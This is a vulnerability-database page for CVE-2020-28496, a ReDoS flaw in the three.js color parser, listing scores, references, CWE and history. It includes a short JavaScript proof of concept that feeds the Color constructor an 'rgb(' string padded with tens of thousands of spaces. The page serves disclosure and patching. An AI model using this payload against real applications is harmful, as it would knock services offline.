CVE-2020-28496
Three JavaScript Arithmetic Denial of Service Vulnerability
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
INFO
Published Date :
Feb. 18, 2021, 3:15 p.m.
Last Modified :
Nov. 21, 2024, 5:22 a.m.
Remotely Exploit :
Yes !
Source :
[email protected]
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS 2.0 | MEDIUM | [email protected] | ||||
| CVSS 3.1 | HIGH | [email protected] | ||||
| CVSS 3.1 | HIGH | [email protected] |
Public PoC/Exploit Available at Github
CVE-2020-28496 has a 3 public
PoC/Exploit available at Github.
Go to the Public Exploits tab to see the list.
References to Advisories, Solutions, and Tools
Here, you will find a curated list of external links that provide in-depth
information, practical solutions, and valuable tools related to
CVE-2020-28496.
| URL | Resource |
|---|---|
| https://github.com/mrdoob/three.js/issues/21132 | Exploit Issue Tracking Third Party Advisory |
| https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e | Patch Third Party Advisory |
| https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 | Exploit Third Party Advisory |
| https://snyk.io/vuln/SNYK-JS-THREE-1064931 | Exploit Third Party Advisory |
| https://github.com/mrdoob/three.js/issues/21132 | Exploit Issue Tracking Third Party Advisory |
| https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e | Patch Third Party Advisory |
| https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 | Exploit Third Party Advisory |
| https://snyk.io/vuln/SNYK-JS-THREE-1064931 | Exploit Third Party Advisory |
CWE - Common Weakness Enumeration
While CVE identifies
specific instances of vulnerabilities, CWE categorizes the common flaws or
weaknesses that can lead to vulnerabilities. CVE-2020-28496 is
associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification
(CAPEC)
stores attack patterns, which are descriptions of the common attributes and
approaches employed by adversaries to exploit the CVE-2020-28496
weaknesses.
We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).
List of RegEx DoS (ReDoS) CVEs and resources
security awesome redos regex dos regex-dos pentesting awesome-list regex-security
A list of CVE's with Proof of Concepts
JavaScript HTML Python
Helper library for three.js r126+ to programmatically build sprite texture atlases
JavaScript HTML Handlebars
Results are limited to the first 15 repositories due to potential performance issues.
The following list is the news that have been mention
CVE-2020-28496 vulnerability anywhere in the article.
The following table lists the changes that have been made to the
CVE-2020-28496 vulnerability over time.
Vulnerability history details can be useful for understanding the evolution of a vulnerability, and for identifying the most recent changes that may impact the vulnerability's severity, exploitability, or other characteristics.
-
CVE Modified by af854a3a-2127-422b-91ae-364da2661108
Nov. 21, 2024
Action Type Old Value New Value Added Reference https://github.com/mrdoob/three.js/issues/21132 Added Reference https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e Added Reference https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 Added Reference https://snyk.io/vuln/SNYK-JS-THREE-1064931 -
CVE Modified by [email protected]
May. 14, 2024
Action Type Old Value New Value -
Initial Analysis by [email protected]
Feb. 25, 2021
Action Type Old Value New Value Added CVSS V2 NIST (AV:N/AC:L/Au:N/C:N/I:N/A:P) Added CVSS V3.1 NIST AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Changed Reference Type https://github.com/mrdoob/three.js/issues/21132 No Types Assigned https://github.com/mrdoob/three.js/issues/21132 Exploit, Issue Tracking, Third Party Advisory Changed Reference Type https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e No Types Assigned https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e Patch, Third Party Advisory Changed Reference Type https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 No Types Assigned https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 Exploit, Third Party Advisory Changed Reference Type https://snyk.io/vuln/SNYK-JS-THREE-1064931 No Types Assigned https://snyk.io/vuln/SNYK-JS-THREE-1064931 Exploit, Third Party Advisory Added CWE NIST CWE-400 Added CPE Configuration OR *cpe:2.3:a:three_project:three:*:*:*:*:*:node.js:*:* versions up to (excluding) 0.125.0
Vulnerability Scoring Details
Base CVSS Score: 7.5
Base CVSS Score: 5
Exploit Prediction
EPSS is a daily estimate of the probability of exploitation activity being observed over the next 30 days.
1.42 }} -11.36%
score
0.78809
percentile